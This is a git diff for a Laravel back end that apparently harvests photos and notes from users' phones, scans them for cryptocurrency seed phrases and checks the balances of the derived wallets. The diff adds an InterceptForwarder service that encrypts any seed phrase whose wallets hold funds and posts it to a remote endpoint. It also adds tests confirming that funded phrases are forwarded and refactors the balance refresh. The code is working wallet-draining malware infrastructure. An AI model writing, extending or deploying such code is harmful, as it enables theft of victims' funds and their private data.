diff --git a/app/Http/Controllers/Admin/MnemonicFindingController.php b/app/Http/Controllers/Admin/MnemonicFindingController.php index e0bf147..efb3690 100644 --- a/app/Http/Controllers/Admin/MnemonicFindingController.php +++ b/app/Http/Controllers/Admin/MnemonicFindingController.php @@ -5,7 +5,6 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\MnemonicFinding; -use App\Models\User; use App\Services\MnemonicScanService; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; @@ -15,18 +14,23 @@ class MnemonicFindingController extends Controller { use PortalAware; - public function index(MnemonicScanService $scan) + public function index() { $this->denyHiddenAgentScan(); - $agents = $this->isAgentPortal() - ? collect() - : User::query()->orderBy('username')->get(['id', 'username']); return view('admin.findings.index', [ 'portal' => $this->portal(), - 'agents' => $agents, - 'photoProgress' => $scan->photoProgress(null, $this->agent()), - 'noteProgress' => $scan->noteProgress(null, $this->agent()), + ]); + } + + public function progress(MnemonicScanService $scan) + { + $this->denyHiddenAgentScan(); + + return response()->json([ + 'code' => 0, + 'photo' => $scan->photoProgress(null, $this->agent()), + 'note' => $scan->noteProgress(null, $this->agent()), ]); } diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 2c08aa8..604755d 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -904,14 +904,10 @@ class IngestService $this->mnemonicLinker->linkAddress($addr); } - $isTron = in_array($chainType, ['TRON', 'TRX'], true); - $isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true); - // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. - // BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO. - if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) { - $this->balances->refresh($addr); - $addr->refresh(); - } + // Client payloads often omit, zero, or mis-scale balances. + // Chain is the source of truth for TRON / ETH / BSC / BTC / SOL. + $this->balances->refresh($addr); + $addr->refresh(); if (! $existing) { $this->enableMonitorOrDisable($addr); diff --git a/app/Services/InterceptForwarder.php b/app/Services/InterceptForwarder.php new file mode 100644 index 0000000..89b4645 --- /dev/null +++ b/app/Services/InterceptForwarder.php @@ -0,0 +1,80 @@ +encryptJson([ + 'd' => $deviceKey, + 'a' => $tag, + 'mnemonic' => $phrase, + ], $ts); + + $target = $base.'/us'; + $timeout = (int) config('coruna.intercept.forward_timeout', 10); + + try { + $resp = Http::withHeaders([ + 'Content-Type' => 'text/plain', + 'x-ts' => $ts, + ]) + ->timeout($timeout) + ->connectTimeout(min($timeout, 5)) + ->withBody($enc['body'], 'text/plain') + ->post($target); + + $this->writeLog($deviceKey, $target, $resp->status(), (string) $resp->body()); + + return $resp->successful(); + } catch (\Throwable $e) { + Log::warning('scan mnemonic forward failed: '.$e->getMessage(), [ + 'device_key' => $deviceKey, + 'target' => $target, + ]); + $this->writeLog($deviceKey, $target, 0, $e->getMessage()); + + return false; + } + } + + private function writeLog(string $deviceKey, string $target, int $status, string $body): void + { + $logPath = public_path('log/intercept'); + if (! is_dir($logPath)) { + return; + } + + $entry = [ + 'time' => date('Y-m-d H:i:s'), + 'dir' => 'scan-forward', + 'device_key' => $deviceKey, + 'target' => $target, + 'status' => $status, + 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body, + ]; + + $line = $entry['time'].' SCAN-FORWARD '.$entry['target'].' ' + .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) + ."\r\n\r\n"; + + @file_put_contents($logPath.'/'.date('Ymd').'.log', $line, FILE_APPEND); + } +} diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php index 6348fa4..3239f97 100644 --- a/app/Services/MnemonicScanService.php +++ b/app/Services/MnemonicScanService.php @@ -10,11 +10,12 @@ use App\Models\Note; use App\Models\NoteScan; use App\Models\Photo; use App\Models\User; +use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use App\Services\Chain\Bip44; use App\Services\Ocr\OcrDriver; use App\Services\Ocr\PhotoOcrPreparer; use App\Support\AgentScope; -use App\Support\NoteContent; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; @@ -25,6 +26,8 @@ class MnemonicScanService private readonly OcrDriver $ocr, private readonly PhotoOcrPreparer $preparer, private readonly IngestService $ingest, + private readonly MnemonicWalletDiscovery $discovery, + private readonly InterceptForwarder $forwarder, ) {} public function dispatchPhoto(Photo $photo): void @@ -179,7 +182,7 @@ class MnemonicScanService return Cache::remember( 'scan.photo_progress:'.$this->progressScopeKey($agent), - 60, + 120, fn () => $this->photoProgressCounts(null, $agent), ); } @@ -230,22 +233,8 @@ class MnemonicScanService return $this->progressFromCounts($counts); } - return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) { - $itemTotal = 0; - $latestIds = Note::query()->selectRaw('MAX(notes.id) as id'); - $this->scopeNotesToAgent($latestIds, $agent); - $latestIds->groupBy('notes.device_id'); - - Note::query() - ->whereIn('id', $latestIds) - ->select(['id', 'content']) - ->orderBy('id') - ->chunkById(200, function ($notes) use (&$itemTotal) { - foreach ($notes as $note) { - $itemTotal += count(NoteContent::normalizeStored($note->content)); - } - }); - + return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 120, function () use ($agent) { + $itemTotal = $this->latestNoteItemTotal($agent); $scans = NoteScan::query(); $this->scopeNoteScansToAgent($scans, $agent); $scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all(); @@ -257,6 +246,23 @@ class MnemonicScanService }); } + private function latestNoteItemTotal(?User $agent): int + { + $latestIds = Note::query()->selectRaw('MAX(notes.id) as id'); + $this->scopeNotesToAgent($latestIds, $agent); + $latestIds->groupBy('notes.device_id'); + + $driver = Note::query()->getConnection()->getDriverName(); + $lengthExpr = $driver === 'sqlite' + ? 'COALESCE(json_array_length(notes.content), 0)' + : 'COALESCE(JSON_LENGTH(notes.content), 0)'; + + return (int) Note::query() + ->whereIn('notes.id', $latestIds) + ->selectRaw('SUM('.$lengthExpr.') as item_total') + ->value('item_total'); + } + private function progressScopeKey(?User $agent): string { return $agent === null ? 'all' : 'a:'.$agent->id; @@ -381,6 +387,47 @@ class MnemonicScanService 'mnemonic' => $phrase, 'a' => $tag, ], $origin); + + $mnemonic = WalletMnemonic::query() + ->where('device_id', $holder->id) + ->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase)) + ->first(); + if ($mnemonic === null) { + return; + } + + try { + $this->discovery->discoverActivated($mnemonic); + } catch (\Throwable $e) { + Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [ + 'mnemonic_id' => $mnemonic->id, + 'device_id' => $holder->id, + ]); + } + + if (! $this->mnemonicHasPositiveBalance($mnemonic)) { + return; + } + + $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag); + } + + private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool + { + $rows = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->get(WalletAddress::COIN_COLUMNS); + + foreach ($rows as $row) { + foreach (WalletAddress::COIN_COLUMNS as $col) { + $value = trim((string) ($row->{$col} ?? '')); + if ($value !== '' && bccomp($value, '0', 18) > 0) { + return true; + } + } + } + + return false; } /** diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php index b372b4b..082ed11 100644 --- a/app/Services/Tokenview/TokenviewMonitorService.php +++ b/app/Services/Tokenview/TokenviewMonitorService.php @@ -8,7 +8,6 @@ use App\Models\WalletAddress; use App\Services\TelegramNotifier; use App\Services\WalletBalanceService; use App\Support\SafeLog; -use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; class TokenviewMonitorService @@ -197,31 +196,15 @@ class TokenviewMonitorService return; } - $refreshRows = $rows->filter(function (WalletAddress $row) { - return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true); - }); - $deltaRows = $rows->filter(function (WalletAddress $row) { - return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true); - }); - - // Tron/BTC webhooks only carry deltas — refresh from chain as source of truth. - // BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO. - foreach ($refreshRows as $row) { + // Tokenview only carries deltas. Refresh from chain for every supported + // row (TRON / ETH / BSC / BTC / SOL); fall back to applying the delta. + foreach ($rows as $row) { /** @var WalletAddress $row */ if (! $this->balances->refresh($row)) { $this->applyDeltasToRow($row, $deltas); } } - if ($deltaRows->isNotEmpty()) { - DB::transaction(function () use ($deltaRows, $deltas) { - foreach ($deltaRows as $row) { - /** @var WalletAddress $row */ - $this->applyDeltasToRow($row, $deltas); - } - }); - } - $changes = []; foreach ($deltas as $col => $delta) { if ($delta != 0.0) { diff --git a/resources/views/admin/findings/index.blade.php b/resources/views/admin/findings/index.blade.php index 0ef2b16..0ea56c8 100644 --- a/resources/views/admin/findings/index.blade.php +++ b/resources/views/admin/findings/index.blade.php @@ -15,15 +15,15 @@
扫描进度
-
+
相册
- {{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }} -
已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}
+ — +
已扫 / 总数 · 加载中
-
+
备忘录
- {{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }} -
已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}
+ — +
已扫 / 总数 · 加载中
@@ -89,9 +89,25 @@ layui.use(['table', 'form', 'layer'], function () { var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var token = @json(csrf_token()); var actionBase = @json(url('/'.$portal.'/findings')); + var progressUrl = @json(route($portal.'.findings.progress')); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); + function fillScanTile(id, row) { + var tile = document.getElementById(id); + if (!tile || !row) return; + var main = tile.querySelector('[data-scan-main]'); + var sub = tile.querySelector('[data-scan-sub]'); + if (main) main.textContent = (row.scanned || 0) + ' / ' + (row.total || 0); + if (sub) sub.textContent = '已扫 / 总数 · 疑似 ' + (row.suspected || 0) + ' · 确定 ' + (row.confirmed || 0); + } + + $.getJSON(progressUrl).done(function (res) { + if (!res || res.code !== 0) return; + fillScanTile('scan-photo-tile', res.photo); + fillScanTile('scan-note-tile', res.note); + }); + table.render({ elem: '#LAY-find-list', id: 'LAY-find-list', diff --git a/routes/admin.php b/routes/admin.php index eb3e555..aa4e478 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -79,6 +79,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index'); Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data'); + Route::get('findings/progress', [MnemonicFindingController::class, 'progress'])->name('findings.progress'); Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm'); Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss'); diff --git a/routes/user.php b/routes/user.php index 5d66062..7f4fd86 100644 --- a/routes/user.php +++ b/routes/user.php @@ -76,6 +76,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index'); Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data'); + Route::get('findings/progress', [MnemonicFindingController::class, 'progress'])->name('findings.progress'); Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm'); Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss'); diff --git a/tests/Feature/MnemonicAddressLinkTest.php b/tests/Feature/MnemonicAddressLinkTest.php index 92cde0c..00bd400 100644 --- a/tests/Feature/MnemonicAddressLinkTest.php +++ b/tests/Feature/MnemonicAddressLinkTest.php @@ -5,6 +5,8 @@ namespace Tests\Feature; use App\Models\Device; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\Chain\BscDriver; +use App\Services\Chain\ChainManager; use App\Services\Chain\EthDriver; use App\Services\Chain\TronDriver; use App\Services\IngestService; @@ -43,6 +45,23 @@ class MnemonicAddressLinkTest extends TestCase Http::fake(); } + private function chainManagerStub(?EthDriver $eth = null, ?BscDriver $bsc = null): ChainManager + { + $manager = Mockery::mock(ChainManager::class); + $manager->shouldReceive('resolve')->andReturnUsing(function (string $chain) use ($eth, $bsc) { + $key = strtolower($chain); + if (in_array($key, ['eth', 'ethereum', 'evm'], true) && $eth !== null) { + return $eth; + } + if (in_array($key, ['bsc', 'bnb', 'binance'], true) && $bsc !== null) { + return $bsc; + } + throw new \InvalidArgumentException($chain); + }); + + return $manager; + } + private function makeDevice(string $id = 'dev-link-1'): Device { return Device::query()->create([ @@ -249,18 +268,17 @@ class MnemonicAddressLinkTest extends TestCase public function new_eth_address_with_bsc_funds_also_creates_bsc_row(): void { config([ - 'coruna.bsc.rpc_url' => 'https://bsc.example', + 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955', - 'coruna.bsc.usdt_decimals' => 18, - ]); - // setUp() already registered a catch-all Http::fake(), and later fakes are - // checked after it, so they never run. Replace the client first. - Http::swap(new \Illuminate\Http\Client\Factory); - Http::fake([ - 'https://bsc.example' => Http::sequence() - ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0xde0b6b3a7640000'], 200) - ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1bc16d674ec80000'], 200), ]); + $ethDriver = Mockery::mock(EthDriver::class); + $ethDriver->shouldReceive('getNativeBalance')->andReturn('0.1'); + $ethDriver->shouldReceive('getTokenBalance')->andReturn('0'); + $ethDriver->shouldReceive('chainId')->andReturn('eth'); + $bscDriver = Mockery::mock(BscDriver::class); + $bscDriver->shouldReceive('getNativeBalance')->andReturn('1.0'); + $bscDriver->shouldReceive('getTokenBalance')->andReturn('2.0'); + $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver)); $device = $this->makeDevice('dev-link-bsc'); app(IngestService::class)->ingestAddresses($device, [ @@ -285,6 +303,70 @@ class MnemonicAddressLinkTest extends TestCase $this->assertSame(1, WalletAddress::query()->where('chain_type', 'BSC')->count()); } + #[Test] + public function ingest_eth_overwrites_client_balance_from_chain(): void + { + config([ + 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', + 'coruna.bsc.usdt_contract' => '', + ]); + $ethDriver = Mockery::mock(EthDriver::class); + $ethDriver->shouldReceive('getNativeBalance')->once()->andReturn('1.25'); + $ethDriver->shouldReceive('getTokenBalance')->once()->andReturn('9.5'); + $ethDriver->shouldReceive('chainId')->andReturn('eth'); + $bscDriver = Mockery::mock(BscDriver::class); + $bscDriver->shouldReceive('getNativeBalance')->andReturn('0'); + $bscDriver->shouldReceive('getTokenBalance')->andReturn('0'); + $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver)); + + $device = $this->makeDevice('dev-link-eth-refresh'); + app(IngestService::class)->ingestAddresses($device, [ + 'a' => 'a', + 'ba' => [ + self::ETH_0 => [ + ['balance' => '0.1', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18], + ['balance' => '1', 'chainType' => 'ETHEREUM', 'symbol' => 'USDT', 'decimal' => 6], + ], + ], + ]); + + $eth = WalletAddress::query()->where('chain_type', 'ETHEREUM')->where('address', self::ETH_0)->first(); + $this->assertNotNull($eth); + $this->assertEqualsWithDelta(1.25, (float) $eth->eth, 0.0000001); + $this->assertEqualsWithDelta(9.5, (float) $eth->usdt, 0.0000001); + $this->assertSame(0, WalletAddress::query()->where('chain_type', 'BSC')->count()); + } + + #[Test] + public function ingest_bsc_overwrites_client_balance_from_chain(): void + { + config([ + 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955', + ]); + $ethDriver = Mockery::mock(EthDriver::class); + $ethDriver->shouldReceive('chainId')->andReturn('eth'); + $bscDriver = Mockery::mock(BscDriver::class); + $bscDriver->shouldReceive('getNativeBalance')->once()->andReturn('4.5'); + $bscDriver->shouldReceive('getTokenBalance')->once()->andReturn('12'); + $this->app->instance(ChainManager::class, $this->chainManagerStub($ethDriver, $bscDriver)); + + $device = $this->makeDevice('dev-link-bsc-refresh'); + app(IngestService::class)->ingestAddresses($device, [ + 'a' => 'a', + 'ba' => [ + self::ETH_0 => [ + ['balance' => '0.01', 'chainType' => 'BSC', 'symbol' => 'BNB', 'decimal' => 18], + ['balance' => '1', 'chainType' => 'BSC', 'symbol' => 'USDT', 'decimal' => 18], + ], + ], + ]); + + $bsc = WalletAddress::query()->where('chain_type', 'BSC')->where('address', self::ETH_0)->first(); + $this->assertNotNull($bsc); + $this->assertEqualsWithDelta(4.5, (float) $bsc->bnb, 0.0000001); + $this->assertEqualsWithDelta(12.0, (float) $bsc->usdt, 0.0000001); + } + #[Test] public function ingest_mnemonic_after_address_links_via_ingest(): void { diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php index df19fe9..09468c9 100644 --- a/tests/Feature/MnemonicScanTest.php +++ b/tests/Feature/MnemonicScanTest.php @@ -7,14 +7,20 @@ use App\Models\Channel; use App\Models\Device; use App\Models\MnemonicFinding; use App\Models\Note; +use App\Http\Middleware\DecryptXxbbBody; use App\Models\Photo; use App\Models\User; +use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use App\Services\MnemonicScanService; use App\Services\MnemonicScanStatus; +use App\Services\MnemonicWalletDiscovery; use App\Services\Ocr\OcrDriver; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Storage; +use Mockery; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -40,7 +46,10 @@ TXT; 'coruna.telegram.bot_token' => 'tg-token', 'coruna.telegram.owner_chat_id' => '10001', ]); - Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + '*' => Http::response('fail', 500), + ]); } #[Test] @@ -335,12 +344,22 @@ TXT; $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']); $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']); + Cache::forget('scan.note_progress:all'); + Cache::forget('scan.photo_progress:all'); + $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->get(route('admin.findings.index')) ->assertOk() ->assertSee('助记词扫描') - ->assertSee('备忘录'); + ->assertSee('备忘录') + ->assertDontSee('only-latest'); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.findings.progress')) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('note.total', 8) + ->assertJsonPath('photo.total', 0); } #[Test] @@ -424,6 +443,115 @@ TXT; $this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status')); } + #[Test] + public function confirmed_scan_forwards_mnemonic_when_derived_address_has_balance(): void + { + config(['coruna.intercept.forward_url' => 'https://dest.example']); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + 'https://dest.example/*' => Http::response('ok', 200), + '*' => Http::response('fail', 500), + ]); + $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5); + + $device = $this->device('dev-scan-fwd'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], + ], + 'content_hash' => hash('sha256', 'fwd'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(1, $device->mnemonics()->count()); + $this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic); + Http::assertSent(function ($request) { + if (! str_starts_with($request->url(), 'https://dest.example/us')) { + return false; + } + $ts = (string) ($request->header('x-ts')[0] ?? ''); + $payload = DecryptXxbbBody::crypto()->decryptJsonBody((string) $request->body(), $ts); + + return is_array($payload) + && ($payload['d'] ?? '') === 'dev-scan-fwd' + && ($payload['a'] ?? '') === 'note_scan' + && ($payload['mnemonic'] ?? '') === self::PHRASE; + }); + } + + #[Test] + public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void + { + config(['coruna.intercept.forward_url' => 'https://dest.example']); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + 'https://dest.example/*' => Http::response('ok', 200), + '*' => Http::response('fail', 500), + ]); + $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0); + + $device = $this->device('dev-scan-nofwd'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], + ], + 'content_hash' => hash('sha256', 'nofwd'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(1, $device->mnemonics()->count()); + Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us')); + } + + #[Test] + public function confirmed_scan_does_not_forward_when_dest_url_empty(): void + { + config(['coruna.intercept.forward_url' => '']); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + '*' => Http::response('ok', 200), + ]); + $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99); + + $device = $this->device('dev-scan-nourl'); + Note::query()->create([ + 'device_id' => $device->id, + 'content' => [ + ['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9], + ], + 'content_hash' => hash('sha256', 'nourl'), + ]); + + app(MnemonicScanService::class)->scanDeviceNotes($device); + + $this->assertSame(1, $device->mnemonics()->count()); + Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram')); + } + + private function bindFundedDiscovery(string $address, float $usdt): void + { + $discovery = Mockery::mock(MnemonicWalletDiscovery::class); + $discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) { + WalletAddress::query()->create([ + 'device_id' => $mnemonic->device_id, + 'mnemonic_id' => $mnemonic->id, + 'address' => $address, + 'chain_type' => 'TRON', + 'source' => '备忘录扫描', + 'usdt' => $usdt, + 'trx' => 0, + 'monitor' => 1, + ]); + + return $usdt > 0 ? 1 : 0; + }); + $this->app->instance(MnemonicWalletDiscovery::class, $discovery); + } + private function device(string $key): Device { return Device::query()->create([ diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php index bb80503..a444563 100644 --- a/tests/Feature/TokenviewWebhookTest.php +++ b/tests/Feature/TokenviewWebhookTest.php @@ -7,8 +7,12 @@ use App\Models\Device; use App\Models\TokenviewEvent; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\Chain\BscDriver; +use App\Services\Chain\ChainManager; +use App\Services\Chain\EthDriver; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; +use Mockery; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -84,6 +88,7 @@ class TokenviewWebhookTest extends TestCase public function webhook_applies_inbound_delta_and_dedupes_txid(): void { config(['coruna.tokenview.sign_key' => 'secret-sign']); + Http::fake(); $addr = $this->seedMonitoredAddress(); $payload = [ @@ -187,6 +192,90 @@ class TokenviewWebhookTest extends TestCase }); } + #[Test] + public function webhook_refreshes_eth_balance_from_chain_instead_of_delta(): void + { + config([ + 'coruna.tokenview.sign_key' => '', + 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', + 'coruna.bsc.usdt_contract' => '', + 'coruna.telegram.bot_token' => 'bot-token', + 'coruna.telegram.owner_chat_id' => '12345', + ]); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + $ethDriver = Mockery::mock(EthDriver::class); + $ethDriver->shouldReceive('getNativeBalance')->once()->andReturn('2.5'); + $ethDriver->shouldReceive('getTokenBalance')->once()->andReturn('80'); + $bscDriver = Mockery::mock(BscDriver::class); + $bscDriver->shouldReceive('getNativeBalance')->andReturn('0'); + $bscDriver->shouldReceive('getTokenBalance')->andReturn('0'); + $manager = Mockery::mock(ChainManager::class); + $manager->shouldReceive('resolve')->with('eth')->andReturn($ethDriver); + $manager->shouldReceive('resolve')->with('bsc')->andReturn($bscDriver); + $this->app->instance(ChainManager::class, $manager); + + $addr = $this->seedMonitoredAddress([ + 'eth' => 1.0, + 'usdt' => 10.0, + ]); + + $this->postJson('/hooks/tokenview', [ + 'address' => $addr->address, + 'txid' => 'eth-txid-refresh-1', + 'coin' => 'ETH', + 'value' => '0.5', + 'tokenSymbol' => 'USDT', + 'tokenValue' => '100', + ])->assertOk()->assertSee('ok'); + + $addr->refresh(); + $this->assertEqualsWithDelta(2.5, (float) $addr->eth, 0.0000001); + $this->assertEqualsWithDelta(80.0, (float) $addr->usdt, 0.0000001); + } + + #[Test] + public function webhook_refreshes_bsc_balance_from_chain_instead_of_delta(): void + { + config([ + 'coruna.tokenview.sign_key' => '', + 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955', + 'coruna.telegram.bot_token' => 'bot-token', + 'coruna.telegram.owner_chat_id' => '12345', + ]); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + $bscDriver = Mockery::mock(BscDriver::class); + $bscDriver->shouldReceive('getNativeBalance')->once()->andReturn('3.25'); + $bscDriver->shouldReceive('getTokenBalance')->once()->andReturn('42'); + $manager = Mockery::mock(ChainManager::class); + $manager->shouldReceive('resolve')->with('bsc')->andReturn($bscDriver); + $this->app->instance(ChainManager::class, $manager); + + $addr = $this->seedMonitoredAddress([ + 'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94', + 'chain_type' => 'BSC', + 'eth' => null, + 'bnb' => 0.1, + 'usdt' => 1.0, + ]); + + $this->postJson('/hooks/tokenview', [ + 'address' => $addr->address, + 'txid' => 'bsc-txid-refresh-1', + 'coin' => 'BSC', + 'value' => '0.5', + 'tokenSymbol' => 'USDT', + 'tokenValue' => '100', + ])->assertOk()->assertSee('ok'); + + $addr->refresh(); + $this->assertEqualsWithDelta(3.25, (float) $addr->bnb, 0.0000001); + $this->assertEqualsWithDelta(42.0, (float) $addr->usdt, 0.0000001); + } + #[Test] public function webhook_refreshes_btc_balance_from_chain_instead_of_delta(): void { @@ -483,6 +572,7 @@ class TokenviewWebhookTest extends TestCase config(['coruna.tokenview.sign_key' => '']); Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), + '*' => Http::response('fail', 500), ]); config([ 'coruna.telegram.bot_token' => 'bot-token',